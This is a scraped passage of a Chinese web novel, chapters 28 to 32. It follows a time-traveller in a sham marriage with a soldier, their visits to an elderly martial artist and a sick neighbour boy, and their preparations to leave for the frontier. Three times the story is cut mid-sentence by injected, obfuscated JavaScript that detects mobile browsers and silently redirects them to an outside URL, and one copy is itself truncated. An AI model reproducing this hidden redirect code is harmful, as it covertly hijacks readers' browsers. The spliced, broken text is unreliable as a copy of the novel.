“三叔,我媳妇儿不懂事,就是好奇心太重了点。”陆沉舟低声道歉,“三叔不要见怪。” 刘三叔却笑着摆了摆手:“你眼神没你媳妇好,她识货,你不懂。” 她赶紧道歉:“三叔对不起,我是第一次见到这么金贵的东西,一时没收住眼睛。” 刘三叔笑了:“你识货很好,我早年伤了身体,没儿没女,沉舟媳妇儿也算是我半个闺女了。等哪天我没了,那些东西落你手里,总比跟着他这个瞎子强。” 林晚霜听的心头一惊。这刘三叔绝不简单,金丝楠木是传说中的帝王木,常人哪怕是有一件上等的都恨不得锁进保险柜。 而他手里这根极品,却被他当做普通棍子,用的毫不珍惜。另外,他口中的“那些东西”是什么东西?难道都与这极品金丝楠木价值差不多? 还有,早年伤了身体?又是怎么伤了身体的? 他到底是什么身份? 正当她胡思乱想的时候,却听两人正在说毒灵芝的事。 “这里近来的确是有人作恶,”刘三叔沉声道,“昨晚你做的很好,给我避免了大麻烦,这样,我会让陈顺他们几个盯牢了。再见到这小子立刻抓了打出去。” “这里有三叔照看着,是他们的福气,”陆沉舟说的理所当然,“叔。我那两条乌梢鞭有人要吗?” “20一条,我给你卖了,”刘三叔说,“活的更值点钱,但没必要冒险。对了,有人花100买过山峰,你有没有办法弄到?” 乌梢鞭和过山峰都是毒蛇,后者还有个学名叫眼镜蛇,一口下去半小时内不注射血清就会死。 林晚霜看到小智提供的信息,立刻急了:“过山峰太危险了,我们不做。” 刘三叔看了她一眼,突然笑了:“沉舟,你媳妇儿很疼你,看来你是个有福气的。” 而他对林晚霜未免更多了几分好奇:“沉舟说你摔了头失忆了,性格大变。现在看来还真是天下之大无奇不有。我原以为他被逼娶了个坏女人是时运不济,哪想到他命如此好,你居然变好了。” 陆沉舟的脸上全是无奈:“三叔,您又说什么命不命的了。都说了,咱们要相信科学!” 刘三叔扬起棍子作势要打:“臭小子,科学,科学顶个鬼用!你问问你媳妇,她信科学不?” 金丝楠木即使是风干之后,每平方米也有580-680斤重。刘三叔手中这根小爱已经给出数值,得有个400来斤。 而他,就这样轻轻松松把400多斤的棍子举起来了? 林晚霜看着他如风中残烛的身体,震惊到差点叫出声。 这到底是什么人? 29. 第 29 章 林晚霜正在惊讶400多斤的棍子刘三叔竟毫不费力地举了起来。 就见刘三叔和陆沉舟一起望了过来。 刘三叔再问了一遍:“沉舟媳妇儿,你说你信科学不?” 老板信,她这个小员工敢不信吗? “信!我相信科学,我必将在陆沉舟同志的引领下好好学习天天向上。”她就差举手发誓了。 陆沉舟闻言点头,一脸骄傲地看向刘三叔:“看到了吧,这是科学的魅力。” 刘三叔撇嘴一笑,棍子倒是放了下来:“科学的魅力没看到,我只看到了男人的魅力。” 只可惜在场两个都没开窍,只以为他是话赶话嘴瓢了。 刘三叔看向林晚霜,招手示意她过来,掏出一把钱塞给她:“沉舟媳妇儿,这是叔给你的见面礼。” 林晚霜立刻看向陆沉舟。 “我爷爷奶奶答应过让我给您养老送终,”陆沉舟沉声说,“结果您没让我给您养老,也不肯住我家里。” “我看到你爸那个小古板就来气,不住你家我能多活几年,”刘三叔立刻说,“至于送终,有你媳妇儿就够了,我的东西给你糟蹋了,给她才合适。” 林晚霜没想到刘三叔好像是要来真的,赶紧拒绝:“三叔,这不合适。” “太合适了,”刘三叔说,“你有眼光,又是他媳妇儿,最重要的是,我觉得到时候他不一定回得来。” 她觉得没办法再掰扯下去,毕竟这话题实在是有点不吉利。横竖真到那时候她和陆沉舟保不齐都离婚了。 那时候她自然也就没了资格。 想到这里,她微微松了口气。又看向陆沉舟,示意他决定一下这钱是收还是不收。 陆沉舟接收到她的示意,走过来把钱拿起,塞进刘三叔兜里:“三叔,我家两天后就要去边疆了。这钱您留身上,我不在,您有个头疼脑热的……” “头疼脑热的有陈顺他们,哪回我指的上你了?”刘三叔没好气的打断他,“我原本只想着你能把我们刘家的武艺发扬光大。没想到出了这档事。” 他愤怒不已:“你那爹妈从小满脑子就糊里糊涂的,惹出这些祸事……” “三叔,”林晚霜见陆沉舟脸色不好,立刻打断,“这事儿我知道的不多,但我觉得怪不到我公婆头上。他们只是运气不好,谁能想到会有人为了省口粮食把自己的孩子送走?又有谁会想到被送走的孩子回来会找个无关的人报仇?” 刘三叔看了她一眼:“你们夫妻现在感情倒是好,他连这个都跟你说了?” 他又叹气:“这事儿没那么简单,我找人去京都打探了。不光是割委会,还有其他的人,也在这事儿里头搅和。只是我现在没那么大的能力,还没弄清楚到底有多少事。” 林晚霜没想到,她最坏的预感成真了:他们要面对的敌人,不止一个林少。 刘三叔看她发呆,立刻趁机把钱掏出来,塞进她衣兜:“这是给你的,不要管他!” 林晚霜看他闹起了小孩脾气,只能答应,不过她立刻也有了主意:“三叔送我见面礼,我也该孝敬孝敬三叔,我这里有药片,三叔要不要?” 她如果说别的,刘三叔保管不听。但是药片,他太需要了。 有了药片,他对T市所有黑市的掌控力势必又会上升一个台阶。 两人立刻就把陆沉舟扔一边,开始谈药片了。 陆沉舟看着眼前这一幕,瞬间想到昨晚,真是太熟悉了。 都是满口说他最好,结果一谈起事立刻就把他扔一边了。 等等! 他突然意识到自己现在的情绪不对劲,怎么心口闷闷的? 随即,他恍然大悟! 昨晚他没睡觉!为了避免尴尬,他后来直接出去跑步了。 跟个疯子似的绕着服装厂跑了十几圈,好不容易平复下来。又不敢回去房间睡觉。最后干脆去把大爷家的柴火全搬院子里给劈了。 现在看来人果然是不能不休息,休息不好心脏就会出问题。 陆沉舟想起看过的医书,认真思索要如何预防和治疗早期心脏病。 他这里沉迷科学无法自拔,那边林晚霜已经开始给刘三叔分药了。 “药片太多了一时半会儿吃不完也会过期,”她解释了一句,“所以这个阿司匹林我就留100片,四环素用途多点儿,我留150片,甘草片我公爹现在正好用的上,留500片。剩余的三叔您拿着吧。” 刘三叔看她分的井井有条,还拿着笔头仔仔细细把药品功能服用方法誊写了一遍。 “我算是看出来了,他们老陆家就属沉舟最有福气,”刘三叔脸上的笑容越发慈祥,“我收了你的孝敬,日后会给你一份厚礼。” 两人之后又聊了十几分钟,刘三叔拿着钢笔和小本,认认真真记着什么。 末了,他送了个新的本子和两支铅笔给林晚霜:“边疆冷,送你钢笔都出不了水,就这个合适。拿着吧。” 林晚霜拿了东西,招呼还在神游天外的陆沉舟:“走了!” 陆沉舟回过神来,刘三叔带他进屋去把昨天林晚霜背的那个背篓背出来。 他趁刘三叔不注意,把棉花全部留下,最后只带了一匹布,四双鞋,一个狗头帽和两双鹿皮靴。 他没发现的是,刘三叔在瞥见自己床上露出的那块老虎皮时,脸上一闪而过的笑容。 两个背篓重在了一起,刘三叔对着林晚霜挤眼睛:“你肩膀有伤,空背篓也别背了。记住,千万别心疼男人,心疼男人就得跟你那短命的婆婆一样倒大霉。” “三叔!”陆沉舟背起背篓,颇觉无奈。 “我说错了?”刘三叔横他一眼,“对你媳妇儿好点,别学你爸那个小古板,还有,你媳妇儿昨晚没涂药。你记得今天回去主动给她涂,一个大姑娘因为你受了那么重的伤,不负责你还是不是男人了?” “三叔!”林晚霜赶紧叫住,“我那是背篓太重磨伤的,不是因为他。” “不因为他你能磨伤?听叔的话,千万别心疼男人,心疼男人死的早!” “好了三叔,要换的东西您帮忙留意,我们还有事,就先走了!”林晚霜听不下去了,只想快点逃。 “行,叔给你留意着,霜丫头,你记住,千万别心疼男人,心疼男人……哎?你咋跑了?你慢点,慢点跑。沉舟你还不去追你媳妇儿?!快点去追!” 林晚霜捂着耳朵往前跑。刘三叔根本不知道她和陆沉舟是表面夫妻,两个人迟早要离婚的。 刘三叔这些话她听了觉得尴尬的慌,不知道陆沉舟是不是也觉得烦。 她得跑快点,再快点儿。别再听了,听多了万一对老板生出私心就不好了。 职场谈感情,那是事业要玩完的节奏啊! 然而她不知道的是,她以为会对刘三叔的话厌烦的陆沉舟此刻正严肃的和刘三叔做保证。 “三叔,师父,您说的话我不会忘的。我不是我爸,我不会让任何人欺负她,只要她不变,我这辈子都会对她好的。” 林晚霜跑出去很远才停下来。 她两手撑着膝盖,气喘呼呼地平息着过快的心跳。 她在等陆沉舟,同时也开始本能的开始复盘刚刚的一切。 “林晚霜,你要是对他没企图,你慌个屁!”复盘到一半,她突然察觉异常,赶紧给了自己一巴掌,“职场大忌啊!你还想不想升职加薪走上人生巅峰了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132017|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“老板年轻貌美又几次色诱……呸!人家没色诱,是你经不起诱惑!总之林晚霜,现在,立刻,马上,清楚一切杂念!”她开始告诫自己,“陆沉舟绝对不是你可以肖想的男人,大不了功成名就后,找个低配版的小狼狗?” 想到和陆沉舟长相相似的小狼狗光着上身,星星眼地看着她喊“姐姐”的情景,她突然打了个寒颤。 她拍打着自己的脸:“算了算了,这就不是我可以肖想的人,我还是注孤生。偶尔去点十个八个男模就好了。” “南馍是什么?”陆沉舟的声音突然响起。 “男模就是一种长的很好看……啊,你来了?!”林晚霜回到一半突然发现不对,结果竟是陆沉舟,当即吓得差点咬了舌头。 “你还没说完呢,”陆沉舟继续问她,“很好看,然后呢。” 林晚霜脑子转的很快:“男模,顾名思义,是来自南边的馍馍。馍馍就是我们这里馒头的意思,我没吃过,有点好奇。” 陆沉舟想起自从她失忆后,陆家也衰败了,跟着自己她的确没吃过什么好东西。 “等以后有机会了,我给你找南馍。”他有点心疼她,一个南边的馒头而已,她既然心心念念着想吃,那等以后家里情况好点了,他怎么着也得给她买上十个八个的。 “你给我找男模?”她不敢置信地重复了一遍,仿佛看到陆沉舟领着一排风情各异的男人让她尽情挑选。 妈呀,这是什么神仙老板? 跟他做事,他居然还包这个? 那他包不包售后?万一她和男模搞出孩子了,他会不会帮她养? 陆沉舟可不知道,他媳妇儿不仅再给他安排绿帽子,还打算给他安排上野孩子。 回想刘三叔跟自己说的话,他深吸一口气,上前主动拉住了林晚霜的手。 “怎……怎么了?”林晚霜差点吓死。 陆沉舟耳朵也红的厉害,他目视前方,差点同手同脚:“这……这样稳一点。” “哦,”她点头,然后才觉得奇怪,“什么稳一点?” 这要怎么回答? 陆沉舟此时只能听到自己的心跳声,他赶紧转移话题:“你和三叔说了什么?我看他记了很多字。” 这无疑是个好话题,林晚霜瞬间恢复工作状态:“我请他帮忙换一些生姜,大蒜,奶粉,辣椒,花椒,盐和糖,越多越好。” “你考虑的很周到。”他感觉自己的手已经汗湿了。 “是吧!”得到领导的肯定,她十分兴奋,也忘了他们还拉着手,“对了,刘三叔和你家到底是什么关系?怎么好像星野和爸都没提过这个人?” 这问题很好的转移了他的心思:“他是古武世家的人,和我大伯是战友,当年在南京保卫战,他们所在的国军队伍信了领导的话,被困三天两夜,我大伯把自己的干粮分给他了。他为了救我大伯被炸伤了身体。最后他背着我大伯的尸身逃了出来。” “刘三叔带着大伯尸身来到陆家,在陆家养伤。我爸因为非要娶我妈,和爷爷奶奶闹了别扭。我妈和爷爷奶奶关系不好,所以只有我知道刘三叔。你也不要说漏嘴。” 这信息量太大了! “你妈为什么会和你爷爷奶奶不合?难道是因为那个孩子?” 已知陆父陆母都是老好人,那么听起来问题就该出在陆爷爷陆奶奶身上。 但是陆沉舟的语气中并没有透露出对老人的恨。 所以她想来想去,只有陆父当年想念陆母,在饥荒年间去亲戚家,亲戚把孩子送走给他腾粮食吃的事。 “不是,主要是因为我爸妈的性格都太善良了。”陆沉舟一语带过,并没有细说。 善良?这不是好事吗? 30. 第 30 章 回到四合院还不到11点。 院门大开着,林晚霜到了门口却没直接进去。 陆沉舟随后赶上刚想开口问。却见她正看着院落里那两个正在艰难移动的人。 T市的深秋很难得出太阳。 此时四合院里家家户门紧闭,那两个艰难移动的人,便成为唯一的风景线。 “是大爷和他儿子,”陆沉舟明白了,“只是,他儿子怎么那么小?” 林晚霜也很诧异,照她想来,大爷看起来至少都60多了。他儿子怎么着也得三十好几才对。 然而此刻大爷怀中正被托着艰难行走的少年打药眼看去绝不超过20岁。 大概是吸进去冷空气的缘故,他右手捂着嘴剧烈的咳着。 那层绷在颧骨与颌骨的皮肤下,青紫色血管随着咳嗽颜色更深,仿佛随时都要冲破那层薄皮,迸溅出来。 “哗” 一个颧骨凸起的大婶站在窗户边朝着外面泼出盆水:“痨病鬼就该躲屋里等死,现在出来是想让全院的人都染病吗?” 大爷登时就忍不住了:“刘爱花,你……” “爸!”少年出声打断了他的话,这使得他的咳嗽又加重了几分,一口血渗过他捂着嘴的手,缓缓流出。 刘爱花吓得后退一步,四处张望着:“这……这不怪我啊,痨病鬼就不该出来。” “我家敏荣不是痨病!”大爷再也忍不住了,“他这是肺结核!我们明天就要去京都医院治病了。等他吃上药就好了。” “鬼才信!”刘爱花像是怕沾惹上麻烦,匆匆关了门。 她关窗的声音宛若一滴水落入了油锅。 瞬间大院里家家户户都传来了声音—— “奶奶,痨病鬼什么时候死啊。我想出去玩。” “怎么才能把他们赶出家属院啊,烦死了烦死了!” “快点死吧,死了我们院子里就干净了。” …… 大爷努力控制着颤抖的身体,睁大眼睛,死死咬住嘴唇。 终于,他眼泪滚滚落下,喑哑的声音院中响起,字字泣血:“都是邻居,求求你们都少说两句吧,敏荣不是你们看着长大的吗?他只是生病不是犯罪了啊!” 然而这些议论却没停,反而更大声了。 少年突然软倒在大爷怀中。 大爷身体被带着猛地前倾,眼看就要摔倒在地时,一双手扶住了他。 林晚霜及时上前扶住大爷的身体,陆沉舟抢先一步已将少年稳稳抱起。 他环视这四合院一圈,突然深吸口气放声道:“乡亲们,我16岁入伍,在部队是个连长。我在此可以保证,这孩子绝对不是痨病,这种肺结核只需要吃不到一年的药就能彻底治好。” 他话音刚落,一户人家的窗户就打开了。 一个衣着朴素的老太婆不安地摩挲着双手:“小伙子,你真是部队的连长?” “这精气神一看就是当兵的!”一个年轻的男人打开了门,激动地说。 “敏荣小子真不是痨病?”一个中年大婶也开了门,她身后想要跑出来的小男孩此刻正被一个老人紧紧拉住。 “真不是,我之前就得过这病。你们看,我现在已经好了,还娶了媳妇儿。”陆沉舟闭了下眼,然后毫不犹疑地献祭了自己。 这下四合院所有人家都打开了门。 一刻钟后,大爷坐在自家屋里喝着水看着被一群大婶围着乱摸的陆沉舟。 “闺女,怪不得你一眼就看出来我儿子不是痨病!原来是久病成良医。”大爷感叹完又说,“你家真不容易啊,三个绝症病人,还有一个得过肺结核的男人。” “我是刚刚也才知道。”林晚霜现在还懵着呢。 她从来没听说他得过什么病,就这肺结核还是昨晚她告诉他的。 所以他这样的人刚刚居然也撒谎了吗? 大爷并没发现她的异常,只一心推销自己的生意:“家里这么多病人,闺女你还是考虑下改嫁吧。大爷我这里就有几个很不错的后生……” “大爷,”陆沉舟突然出现,“我在前面帮你家撑腰,你在后面劝我媳妇改嫁?” 大爷被他抓了现行,立刻咳了几声,起身就往儿子房间走:“那个,我去看看敏荣,顺便把被子啥的搬出来。” “你得过肺结核?”见大爷进了房间,她低声问他。 他摇了摇头,低声回:“我刚刚说谎了,跟你学的。” “陆连长这是被我带坏了?”她语气不虞,自己好端端地坐这里啥都没干,这口黑锅绝对不认! 然而他说这话却是为了道歉:“对不起,是我之前太狭隘了,事物存在两面性,我却没有把这样的道理灵活运用起来。” “学无止境,说谎只是一种工具,任何工具本身是没有对错的。只有掌握工具运用工具的人本身才能决定对错,”他认真地看着她,“你可以教我怎么掌握这种战略型工具吗?” “啊?”她傻了,“战略型工具是什么?” “是科学!”他说的很果断,“我仔细研究过你这段时间的言行,我认为你的说谎并不是传统意义上的利己损人。而是一种高超的战略沟通技巧。” 他想起刚刚被一群人围住询问他是什么时候得了肺结核,又是怎么治好的,询问这病会不会传染,会不会影响娶媳妇生孩子。 还被一群热情的大娘上手检查身体…… 虽然很是尴尬,但无疑比起他以往在做任务时,对群众实话实说却不得不面对类似昨晚被抓被打被骂的困境。显得格外高效又稳妥。 这种战略沟通技巧值得他认真学习并钻研。 所以他是来真心求学的。 “不,等一下,我要好好捋一下。”林晚霜觉得她现在有点乱。 他们不是在说撒谎的时候,怎么话题突然就发展成了什么科学,什么战略……甚至,他还要她教他说谎? 她今天不会是起猛了,还没醒吧? 而她此刻的茫然落在他眼中就是他给的诚意还不够。 这也难怪,之前他多次指责她不该说谎,甚至还质疑她是恶习难改。她现在有点脾气不肯教他实属正常。 看来他必须拿出足够的诚意,让她认识到自己真的是非常认真想要求教了。 他想到部队里一个嘴甜的小兵向他手下一个孤僻老兵套近乎的办法,好像是帮他洗衣服,叠被子,叫他爸爸? 陆沉舟看了眼林晚霜,不行,爸爸这两个字他张不开口。实在是太挑战下限了。 可是他清楚记得,当那个新兵叫出“爸爸”的时候,两人关系肉眼可见变得特别好。后面他撞见很多次老兵认真带教新兵的场景。 看来称呼是能拉进彼此关系,展示诚意的最好办法。 所以,为了学这个,他要不要叫? “媳妇儿?”他试探性叫了一声。 林晚霜如遭雷劈:“什,什么?” 夭寿了,她居然幻听了。 她的反应立刻让他认识到,自己这个称呼太普通了,太没诚意了。 那—— “老师?”他试探着说,“妹妹?还是你希望我怎么称呼你,只要你教我,我什么都行。” “被子都在这里……哎呀!打扰了打扰了!里面还有点东西,我再去拿啊!”大爷一边倒退着抱出来他们要的东西,一边说话。 然后就听到了陆沉舟这最后一句话。 林晚霜起身拦住他:“我去拿吧。” 大爷被堵了门,只能讪笑一声:“闺女,这不能怪我,你们玩的太花了,真是吓死我这个没谈过对象的老大爷。” “没谈过对象?”她有点懵地指了指身后的房间,“那您儿子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137277|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “嘘!”大爷立刻示意她低声点,“敏荣是我捡来的,大雪天他光着屁股被埋雪里头冻的一点温度都没有了。所以落下了病根儿,但他特聪明,巴掌厚一本书,他看一遍就全记住了。就那什么书,他看两遍就把我们厂里的拖拉机修好了……” 大爷絮叨着,林晚霜不由得看向了那个靠坐在床上闭着眼的少年。 “……总之,都是我这个当爹的没本事,差点还买了毒灵芝。”大爷絮叨完毕,开始收尾,“哎,我先去把东西给你男人,快抱不住了。” 大爷走了,林晚霜回过神来,走到少年身边,让小智对他进行全身扫描。 【小智:宿主,我只能扫死物哦。建议等他死了你再让我扫~】 看到这样的提示,她内心也没觉得有多失望,只是抓紧时间对照肺结核和痨病的外在特征近距离仔细观察了少年。 “姐姐,”少年突然睁开了眼,声音细若蚊呐,“谢谢姐姐骗我爸说这不是绝症。” 她一愣,继而认真地看向他:“这本来就不是绝症,你应该听到了,我男人得过肺结核。我肯定你这个肯定能治好。” 少年却缓缓地摇了摇头:“大哥没得过病,他的假话太刻意了。但是,敏荣谢谢你们。” “你听出来那是假的?”这下子可真的震惊到林晚霜了。 “不仅肺结核是假的,姐姐家里也没有绝症病人吧。”少年勉强地笑了一下,“谢谢姐姐昨晚拦住我爸买灵芝,为了给我治病,我爸已经……咳咳咳” 他咳的浑身都在颤抖,身体本能地蜷缩起来。 林晚霜赶紧上前帮他拍背,然而一触之下,她却立刻收了手,不敢再碰他。 他太瘦了,刚刚隔着衣服她都能清晰感觉到那嶙峋的脊椎和肩胛骨。 “小弟弟,姐姐说你这是肺结核能治真不是骗人,”她只能劝慰他,“你明天去京都医院就知道了。现在最要紧的就是自己放宽心,一切都会好起来的。” 她的眼睛突然瞥见他床头已经翻卷了边的《工业基础知识》,突然有了主意:“你喜欢物理?那你知不知道离心机?内燃机?” 他一下子抓住她的手臂,神情激动:“姐姐,我想学!你能教我吗?” 她突然非常不合时宜地,想起陆沉舟刚刚求教的样子。 “好。”于是她给出了这个让自己有些后悔的回答。 她能教他什么?她就是一破销售,高中都只读了一年,学习成绩也非常普通。 然而少年却当了真:“老师,我会好好活下去,等我好了我就来找你!” 见他已经被唤起了书生欲,她只能将错就错:“好,我等你病好了后来找我!” 随后两人交换了名字和信息。 原来他叫严敏容,今年才17,初中毕业,已经病了快两年,初期只是咳嗽,近半年来开始咳血。 因为医院说他这是痨病,为了不拖累养父,他开始主动绝食。 而少年也知道了她叫林晚霜,即将和婆家下放去边疆。 “你以后要好好配合治疗,等我那里安顿好了就给你寄信。”她认真交代,“你爸以后还得靠你。” “好的老师,”严敏容乖乖点头,他现在有了奔头,脸上死气也少了很多,“如果过几年您回不来,我就去边疆插队找您。” 林晚霜倒是没劝他,毕竟未来的事谁说的清楚呢? 大爷和陆沉舟在外面账都结完了,还没见她抱东西出来。忍不住过来催促。 “大爷,”林晚霜低声对他说,“我听说,咱们这边有个前朝御医的后人,您到时候可以去找找看。” 严敏容听了这话忍不住勾起唇角:他敢肯定,自己刚认下的这位老师应该和那位大夫认识,甚至有些交情。 但他什么都没说,只是看着养父点着头,不断说着谢谢。 31. 第 31 章 陆沉舟还没找到机会继续和她说学习的事,就惊闻了“噩耗”。 “所以你同意教别人?但不教我?”他的筷子悬在半空中,声音有些大。 此刻正好是国营饭店里人最多的时候,听到他这句话,周围的人都忍不住看了过来。 “小点声,”林晚霜看到那么多人看向他们这边,慌忙挡了下脸低下头,“我是在问你,有没有认识这方面的专家,严敏容可是一个真正的少年天才,只要好好培养,未来前途不可限量。” 陆沉舟仔细的想了一遍认识的人,最后摇头:“没有,这方面的专家,要么隐姓埋名在最艰苦的地方研究国家课题,要么就去牛棚里了。” “不过,为什么你教他不教我?难道是因为他喊你姐姐?”他眯着眼睛看着她发出质问。 “你别乱想!”她赶紧喊停,“也别乱喊,我真听不得。” 老板管你喊老师,喊姐姐是什么感受?她真的一点不想体验。 而且最重要的是:“我真的觉得说谎没啥好教的,无非就是见人说人话,见鬼说鬼话。知道对方想要什么,怕什么。也清楚自己能给什么。重点就是适度。” 他不吃这套,挑眉看她:“那你怎么才肯好好教我呢,媳妇儿?” “好了,正常点!”她扔下筷子捂着自己的脸,“我求你了,你叫我做什么都行,别再乱喊。太吓人了。” 她在内心呐喊:这一定是个噩梦!我的老板应该是冷酷无情的男人,怎么能如此崩坏? “好,那就这样定了,”他一秒正常,“不过我既然当了师公,下次见面得把见面礼送过去。” “好的好的,你想做什么都行,我们赶紧吃饭。”压根儿没去思考为啥他就那么轻易认领了师公的身份,她现在只想快点逃离这个地方。 他们都没有事干?这么喜欢八卦吗? 那眼神都快把她烧化了! 快速吃完饭,两人抄近道走野路往家赶。 安宫牛黄丸得赶紧吃了,还有山上的陷阱得去查看。 肉干全用完了,大后天就得离开T市。他们接下来必须尽可能多准备些。 时间已经很紧,必须仔细规划起来。 虽然什么都不用拿,但抄近道走野路翻山岭可不是个轻省活儿。 等林晚霜走进陆家院子时,只恨不得立刻跳进温水中好好洗个澡。 然而现实是,她想要洗澡还得自己烧水。 洗澡桶之类的东西之前抄家的时候也都没了。 这是深秋,她也没那个勇气跳进河水里去扑腾。 所以一切注定只能是空想。 忍不住怀念了下现代洗澡的便利,她拖着精疲力尽的身体去到水井旁,准备打水洗个头。 然而走近后她才发现,陆星野正蹲在井边认真的洗衣服。 他人小,手劲儿也不大。 秋冬的衣服厚实,他十指已经搓的通红,鼻尖沁出密密的汗珠。 林晚霜看了眼,发现洗的并不干净。 她张口想说,却被随后赶来的陆沉舟拉开。 “不要打击星野的积极性,”陆沉舟将她拉到一边,“你先去换衣服,我等下把热水放你放门口。你洗头洗澡,我去给爸喂药,完了我们上山去。” 林晚霜回头看了一眼还在和脏衣服搏斗的陆星野:“真不帮他?” “他不需要,”陆沉舟说,“干不干净不要紧,要紧的是,这是他自己努力的过程。天冷了,我等会儿去给他煮个姜糖水就好。” 林晚霜突然想起,自己十岁那年夏天洗着全家人的衣服。 却因洗衣粉用多了点被妈妈抓着打,奶奶端着盆往她身上倒。 邻居们指指戳戳,爸爸却遮着脸侧身走过,扔下一句“好丢人”。 “陆沉舟,”她看着他,突然有些鼻酸,“你以后一定是很好的爸爸。” 他闻言立刻看向她的肚子,犹豫了下:“这几年还不太妥当,等等再要孩子好吗?” “你说啥?”她不明白这话题怎么突然扯到这里了,而且他生不生孩子为啥要跟自己说。 旋即,她又立刻明白了,这是再告诉她这两年不适合离婚,还得假装夫妻。 得等风声过了,他们都稳定下来之后才能和她结束这段名义上的夫妻关系。 对此她当然全力配合:“好的,我等你时间方便,都听你的。” 听到她这话,陆沉舟只觉得心跳的厉害。 他赶紧侧身,不让她看到自己滚烫的面颊:她居然这么爱我?连什么时候生孩子都完全听我的? 三叔说的果然很对,做男人就是得对自己媳妇儿多上心。有事必须和媳妇儿通气,不能瞒着。 他今天只是试着多和她沟通了一下。竟然发现这样的秘密。 他有些羞赧,不知道该如何回应她如此热烈的爱。 想伸手却又不知道该放哪里才好。 “那,那行吧,”他慌了神,乱了心,“等时间合适了,我跟你说。” 她的心不知为何竟有些发堵,她提醒自己:你是一个合格的精英下属,恪守职业道德吧,想太多只会伤人伤己。 “好!我等你!”她笑着回他。 他一瞬间慌得不敢再看她,只能背过身去努力深呼吸调整自己的身体,生怕又闹出尴尬来。 “好,我会努力,尽量不让你等太久。”他说完,立刻佯装淡定,往厨房走去。 “你……”她忍不住提醒,“你好像顺拐了。” 一语落下,他突然逃一样的跑了。 林晚霜觉得好笑,却发现自己怎么都笑不出来。 她心情怏怏地往自己卧房走,低声自语:“原主你真是害死我了,你怎么这么坏啊。坏的哪怕只是名义上的夫妻,陆沉舟都受不了。这样下去,我真的能抱住大腿,顺利起飞吗?” 还没来得及关好门,门就被人推开了。 林晚霜正在解袄子的手一顿,立刻回头看去。 只见陆沉舟端着一盆水红着脸无措地站在门口:“你没闩门?” “没,”她也有些傻,“水这么快烧好了?” “暖瓶里有点,我先倒出来给你,灶上还在继续烧,”他有些尴尬,“对了,爸刚吃了一次药了。” “哦,”她也有点尴尬,其实她连厚袄子都没脱,也不知道在尴尬什么,“那,那谢谢你,水我自己端进来。” “那,那你用完了放门口,我来倒,”他立刻把盆放下,“烧好水我灌暖瓶里再给你送过来。” 林晚霜把水端进来,认真闩了门,脱下衣服开始擦洗:“他刚刚好像脸红了?是害羞还是生气?” 她琢磨着:“害羞不可能,生气也不至于吧。” 最终她得出结论:“男人真复杂,我果然还是更适合搞事业。成为富婆,然后让男人来猜我,讨好我。” 这样一想,她立刻干劲十足,只觉得人生充满希望。 “最关键的是,即使离婚,我也要抱住大腿,”她给自己打气,“都穿越了,谁还搞男人玩生子啊。看到潜力股当然是要事业捆绑,一飞冲天。加油,打工人!” 等她擦完身,又洗了头。 热水也用完了四壶。 头发实在是太脏了,她不知道原主多久没洗,反正她穿过来快五天了,每天都高强度运动,汗一身身的出,身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小衣和肚兜呢?”他翻看了一下。 “那个,”她脸一下子红了,“我能自己洗吗?我保证,我偷偷在屋里洗,绝对不会被人发现。” 他懵了,为啥要偷偷洗不被人发现?难道这是见不得人的东西吗? 然而毕竟涉及女人的私密,他不好过多追问,于是就应了一声。 然而他并没有急着走,而是问她:“你不擦头发?” 林晚霜突然灵光一闪,有了主意。 一刻钟后,陆沉舟站在她身后,一手长发一手剪刀,手足无措:“真,真剪了啊。” “剪吧,剪吧,”她闭上了眼睛,“剪短点,剪稍微齐整点。” 他抿了嘴唇,认真地比划着长度,研究着下剪刀的角度。 终于—— “咔嚓” 一缕长发飘然落地。 她听到声音,眼睛忍不住睁开了一条缝。只见地上已满是青丝。 她伸手接住一缕正飘落的长发,一滴泪水突兀地掉在了上面。 他开始修剪最后的部分,按她的要求,此时长发已然很短,刚刚齐耳。 于是刚刚那一幕也正好被他尽收眼底。 他不知道这头长发她留了多少年,可他知道这头长发为什么会变短。 这一刻他内心涌上极其复杂的情绪:“头发以后会有机会再留的,我保证。” 莫名的伤害被他这句更为莫名的话冲淡,她笑了:“我的新发型怎么样?要是不好看,你得负责啊!” 她以为他会说些类似“自己的选择自己承担后果”“什么都要别人负责,你是没断奶吗”之类的话。 然而他却很认真的点头:“好,我负责。” 32. 第 32 章 接下来两天他们几乎都在山上。 捕猎,制作肉干,倒着班轮流休息。 林晚霜还抽空把那两张野猪崽子的皮缝成两个防水的大背包。 野猪崽子皮她简单的硝过,但受时间和材料所限,这两张皮注定用不久就会破损。 第二天深夜,陆沉舟背起一个装了七八十斤的野猪皮包。最后看了眼已经彻底掩埋了痕迹的临时营地。 “走吧,”他对一旁拖着藤蔓的林晚霜说,“我们该回去了,三叔的人该来了。” 林晚霜拖着七八只野鸡兔子,跟在他身边,从悬崖那条路下了山。 还没到家,林晚霜就看到智能导航显示陆家院子外面有人。 只是她仔细看了四周,却没发现哪里有人。 